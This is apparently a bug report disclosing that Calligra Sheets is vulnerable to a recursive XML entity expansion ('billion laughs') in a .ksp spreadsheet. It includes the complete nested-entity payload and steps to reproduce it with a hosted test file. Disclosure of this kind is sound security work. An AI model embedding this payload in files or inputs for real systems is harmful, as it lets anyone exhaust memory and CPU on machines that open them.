The referenced maindoc.ksp contains the following entries;

* documentinfo.xml
* maindoc.xml
* mimetype
* preview.png

The maindoc.xml file contains the following entity definitions.  

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<spreadsheet xmlns="http://www.calligra.org/DTD/tables" syntaxVersion="1" mime="application/x-kspread" editor="Calligra Sheets">

with the entity &lol9; is then included in the body of the spreadsheet.

This is standard recursive entity attack as per http://cwe.mitre.org/data/definitions/776.html

I filed a similar bug in Redhat's bugzilla as https://bugzilla.redhat.com/show_bug.cgi?id=1046440

Reproducible: Always

Steps to Reproduce:
1. Point browser at http://search.cpan.org/src/DDICK/Spreadsheet-CSV-0.07/t/data/bombs/maindoc.ksp
2. Click OK to open file in Calligra Sheets
3. Watch as Calligra Sheets consumes machine resources processing the external entities inserted in it
Actual Results:  
Calligra Sheets consumes excessive machine resources

Expected Results:  
Calligra Sheets should at a minimum refuse to open a file that it detects has defined entities.